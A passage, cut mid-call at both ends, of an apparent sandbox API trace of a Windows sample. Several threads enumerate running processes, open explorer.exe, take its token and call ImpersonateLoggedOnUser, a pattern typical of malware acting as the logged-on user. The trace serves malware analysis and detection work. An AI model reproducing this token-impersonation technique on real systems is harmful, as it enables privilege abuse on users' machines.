lppe=0x3b7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.291] Process32NextW (in: hSnapshot=0x254, lppe=0x3b7fcf8 | out: lppe=0x3b7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.292] Process32NextW (in: hSnapshot=0x254, lppe=0x3b7fcf8 | out: lppe=0x3b7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.292] Process32NextW (in: hSnapshot=0x254, lppe=0x3b7fcf8 | out: lppe=0x3b7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.293] Process32NextW (in: hSnapshot=0x254, lppe=0x3b7fcf8 | out: lppe=0x3b7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.294] Process32NextW (in: hSnapshot=0x254, lppe=0x3b7fcf8 | out: lppe=0x3b7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.294] Process32NextW (in: hSnapshot=0x254, lppe=0x3b7fcf8 | out: lppe=0x3b7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.295] Process32NextW (in: hSnapshot=0x254, lppe=0x3b7fcf8 | out: lppe=0x3b7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x308, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0110.296] Process32NextW (in: hSnapshot=0x254, lppe=0x3b7fcf8 | out: lppe=0x3b7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0110.296] CloseHandle (hObject=0x254) returned 1 [0110.296] OpenProcess (dwDesiredAccess=0x2000000, bInheritHandle=0, dwProcessId=0x464) returned 0x254 [0110.296] OpenProcessToken (in: ProcessHandle=0x254, DesiredAccess=0xf01ff, TokenHandle=0x3b7ff6c | out: TokenHandle=0x3b7ff6c*=0x238) returned 1 [0110.296] ImpersonateLoggedOnUser (hToken=0x238) returned 1 [0110.297] CloseHandle (hObject=0x254) returned 1 [0110.297] CloseHandle (hObject=0x238) returned 1 [0110.297] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x3b7ff80, lpCompletionKey=0x3b7ff7c, lpOverlapped=0x3b7ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3b7ff80, lpCompletionKey=0x3b7ff7c, lpOverlapped=0x3b7ff84) returned 1 [0128.313] GetCurrentProcess () returned 0xffffffff [0128.313] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x3b7ff64 | out: TokenHandle=0x3b7ff64*=0x0) returned 0 Thread: id = 24 os_tid = 0xf74 [0110.297] GetCurrentProcess () returned 0xffffffff [0110.297] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x3c7ff3c | out: TokenHandle=0x3c7ff3c*=0x238) returned 1 [0110.297] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x19, TokenInformation=0x3c7feec, TokenInformationLength=0x4c, ReturnLength=0x3c7ff38 | out: TokenInformation=0x3c7feec, ReturnLength=0x3c7ff38) returned 1 [0110.297] IsValidSid (pSid=0x3c7fef4*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 1 [0110.297] CloseHandle (hObject=0x238) returned 1 [0110.297] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x238 [0110.302] Process32FirstW (in: hSnapshot=0x238, lppe=0x3c7fcf8 | out: lppe=0x3c7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0110.303] Process32NextW (in: hSnapshot=0x238, lppe=0x3c7fcf8 | out: lppe=0x3c7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0110.304] Process32NextW (in: hSnapshot=0x238, lppe=0x3c7fcf8 | out: lppe=0x3c7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0110.305] Process32NextW (in: hSnapshot=0x238, lppe=0x3c7fcf8 | out: lppe=0x3c7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.306] Process32NextW (in: hSnapshot=0x238, lppe=0x3c7fcf8 | out: lppe=0x3c7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0110.307] Process32NextW (in: hSnapshot=0x238, lppe=0x3c7fcf8 | out: lppe=0x3c7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x168, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.308] Process32NextW (in: hSnapshot=0x238, lppe=0x3c7fcf8 | out: lppe=0x3c7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x168, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0110.308] Process32NextW (in: hSnapshot=0x238, lppe=0x3c7fcf8 | out: lppe=0x3c7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0110.309] Process32NextW (in: hSnapshot=0x238, lppe=0x3c7fcf8 | out: lppe=0x3c7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0110.310] Process32NextW (in: hSnapshot=0x238, lppe=0x3c7fcf8 | out: lppe=0x3c7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0110.311] Process32NextW (in: hSnapshot=0x238, lppe=0x3c7fcf8 | out: lppe=0x3c7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.312] Process32NextW (in: hSnapshot=0x238, lppe=0x3c7fcf8 | out: lppe=0x3c7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.313] Process32NextW (in: hSnapshot=0x238, lppe=0x3c7fcf8 | out: lppe=0x3c7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.314] Process32NextW (in: hSnapshot=0x238, lppe=0x3c7fcf8 | out: lppe=0x3c7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.315] Process32NextW (in: hSnapshot=0x238, lppe=0x3c7fcf8 | out: lppe=0x3c7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.315] Process32NextW (in: hSnapshot=0x238, lppe=0x3c7fcf8 | out: lppe=0x3c7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.316] Process32NextW (in: hSnapshot=0x238, lppe=0x3c7fcf8 | out: lppe=0x3c7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.317] Process32NextW (in: hSnapshot=0x238, lppe=0x3c7fcf8 | out: lppe=0x3c7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x308, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0110.318] Process32NextW (in: hSnapshot=0x238, lppe=0x3c7fcf8 | out: lppe=0x3c7fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0110.319] CloseHandle (hObject=0x238) returned 1 [0110.319] OpenProcess (dwDesiredAccess=0x2000000, bInheritHandle=0, dwProcessId=0x464) returned 0x238 [0110.319] OpenProcessToken (in: ProcessHandle=0x238, DesiredAccess=0xf01ff, TokenHandle=0x3c7ff6c | out: TokenHandle=0x3c7ff6c*=0x254) returned 1 [0110.319] ImpersonateLoggedOnUser (hToken=0x254) returned 1 [0110.319] CloseHandle (hObject=0x238) returned 1 [0110.319] CloseHandle (hObject=0x254) returned 1 [0110.319] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x3c7ff80, lpCompletionKey=0x3c7ff7c, lpOverlapped=0x3c7ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3c7ff80, lpCompletionKey=0x3c7ff7c, lpOverlapped=0x3c7ff84) returned 1 [0128.312] GetCurrentProcess () returned 0xffffffff [0128.312] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x3c7ff64 | out: TokenHandle=0x3c7ff64*=0x0) returned 0 Thread: id = 25 os_tid = 0xf78 [0110.320] GetCurrentProcess () returned 0xffffffff [0110.320] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x3f1ff3c | out: TokenHandle=0x3f1ff3c*=0x254) returned 1 [0110.320] GetTokenInformation (in: TokenHandle=0x254, TokenInformationClass=0x19, TokenInformation=0x3f1feec, TokenInformationLength=0x4c, ReturnLength=0x3f1ff38 | out: TokenInformation=0x3f1feec, ReturnLength=0x3f1ff38) returned 1 [0110.320] IsValidSid (pSid=0x3f1fef4*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 1 [0110.320] CloseHandle (hObject=0x254) returned 1 [0110.320] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x254 [0110.326] Process32FirstW (in: hSnapshot=0x254, lppe=0x3f1fcf8 | out: lppe=0x3f1fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0110.327] Process32NextW (in: hSnapshot=0x254, lppe=0x3f1fcf8 | out: lppe=0x3f1fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0110.328] Process32NextW (in: hSnapshot=0x254, lppe=0x3f1fcf8 | out: lppe=0x3f1fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0110.328] Process32NextW (in: hSnapshot=0x254, lppe=0x3f1fcf8 | out: lppe=0x3f1fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.329] Process32NextW (in: hSnapshot=0x254, lppe=0x3f1fcf8 | out: lppe=0x3f1fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0110.330] Process32NextW (in: hSnapshot=0x254, lppe=0x3f1fcf8 | out: lppe=0x3f1fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x168, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.331] Process32NextW (in: hSnapshot=0x254, lppe=0x3f1fcf8 | out: lppe=0x3f1fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x168, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0110.332] Process32NextW (in: hSnapshot=0x254, lppe=0x3f1fcf8 | out: lppe=0x3f1fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0110.333] Process32NextW (in: hSnapshot=0x254, lppe=0x3f1fcf8 | out: lppe=0x3f1fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0110.334] Process32NextW (in: hSnapshot=0x254, lppe=0x3f1fcf8 | out: lppe=0x3f1fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0110.335] Process32NextW (in: hSnapshot=0x254, lppe=0x3f1fcf8 | out: lppe=0x3f1fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.335] Process32NextW (in: hSnapshot=0x254, lppe=0x3f1fcf8 | out: lppe=0x3f1fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.336] Process32NextW (in: hSnapshot=0x254, lppe=0x3f1fcf8 | out: lppe=0x3f1fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.337] Process32NextW (in: hSnapshot=0x254, lppe=0x3f1fcf8 | out: lppe=0x3f1fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.338] Process32NextW (in: hSnapshot=0x254, lppe=0x3f1fcf8 | out: lppe=0x3f1fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.339] Process32NextW (in: hSnapshot=0x254, lppe=0x3f1fcf8 | out: lppe=0x3f1fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.340] Process32NextW (in: hSnapshot=0x254, lppe=0x3f1fcf8 | out: lppe=0x3f1fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.340] Process32NextW (in: hSnapshot=0x254, lppe=0x3f1fcf8 | out: lppe=0x3f1fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x308, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0110.341] Process32NextW (in: hSnapshot=0x254, lppe=0x3f1fcf8 | out: lppe=0x3f1fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0110.341] CloseHandle (hObject=0x254) returned 1 [0110.341] OpenProcess (dwDesiredAccess=0x2000000, bInheritHandle=0, dwProcessId=0x464) returned 0x254 [0110.342] OpenProcessToken (in: ProcessHandle=0x254, DesiredAccess=0xf01ff, TokenHandle=0x3f1ff6c | out: TokenHandle=0x3f1ff6c*=0x238) returned 1 [0110.342] ImpersonateLoggedOnUser (hToken=0x238) returned 1 [0110.342] CloseHandle (hObject=0x254) returned 1 [0110.342] CloseHandle (hObject=0x238) returned 1 [0110.342] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x3f1ff80, lpCompletionKey=0x3f1ff7c, lpOverlapped=0x3f1ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f1ff80, lpCompletionKey=0x3f1ff7c, lpOverlapped=0x3f1ff84) returned 1 [0128.311] GetCurrentProcess () returned 0xffffffff [0128.311] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x3f1ff64 | out: TokenHandle=0x3f1ff64*=0x0) returned 0 Thread: id = 26 os_tid = 0xf7c [0110.343] GetCurrentProcess () returned 0xffffffff [0110.343] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x401ff3c | out: TokenHandle=0x401ff3c*=0x238) returned 1 [0110.343] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x19, TokenInformation=0x401feec, TokenInformationLength=0x4c, ReturnLength=0x401ff38 | out: TokenInformation=0x401feec, ReturnLength=0x401ff38) returned 1 [0110.343] IsValidSid (pSid=0x401fef4*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 1 [0110.343] CloseHandle (hObject=0x238) returned 1 [0110.343] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x238 [0110.348] Process32FirstW (in: hSnapshot=0x238, lppe=0x401fcf8 | out: lppe=0x401fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0110.348] Process32NextW (in: hSnapshot=0x238, lppe=0x401fcf8 | out: lppe=0x401fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0110.349] Process32NextW (in: hSnapshot=0x238, lppe=0x401fcf8 | out: lppe=0x401fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0110.350] Process32NextW (in: hSnapshot=0x238, lppe=0x401fcf8 | out: lppe=0x401fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.351] Process32NextW (in: hSnapshot=0x238, lppe=0x401fcf8 | out: lppe=0x401fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0110.352] Process32NextW (in: hSnapshot=0x238, lppe=0x401fcf8 | out: lppe=0x401fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x168, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.353] Process32NextW (in: hSnapshot=0x238, lppe=0x401fcf8 | out: lppe=0x401fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x168, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0110.354] Process32NextW (in: hSnapshot=0x238, lppe=0x401fcf8 | out: lppe=0x401fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0110.355] Process32NextW (in: hSnapshot=0x238, lppe=0x401fcf8 | out: lppe=0x401fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0110.356] Process32NextW (in: hSnapshot=0x238, lppe=0x401fcf8 | out: lppe=0x401fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0110.356] Process32NextW (in: hSnapshot=0x238, lppe=0x401fcf8 | out: lppe=0x401fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.357] Process32NextW (in: hSnapshot=0x238, lppe=0x401fcf8 | out: lppe=0x401fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.358] Process32NextW (in: hSnapshot=0x238, lppe=0x401fcf8 | out: lppe=0x401fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.359] Process32NextW (in: hSnapshot=0x238, lppe=0x401fcf8 | out: lppe=0x401fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.360] Process32NextW (in: hSnapshot=0x238, lppe=0x401fcf8 | out: lppe=0x401fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.361] Process32NextW (in: hSnapshot=0x238, lppe=0x401fcf8 | out: lppe=0x401fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.362] Process32NextW (in: hSnapshot=0x238, lppe=0x401fcf8 | out: lppe=0x401fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.363] Process32NextW (in: hSnapshot=0x238, lppe=0x401fcf8 | out: lppe=0x401fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x308, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0110.364] Process32NextW (in: hSnapshot=0x238, lppe=0x401fcf8 | out: lppe=0x401fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0110.365] CloseHandle (hObject=0x238) returned 1 [0110.365] OpenProcess (dwDesiredAccess=0x2000000, 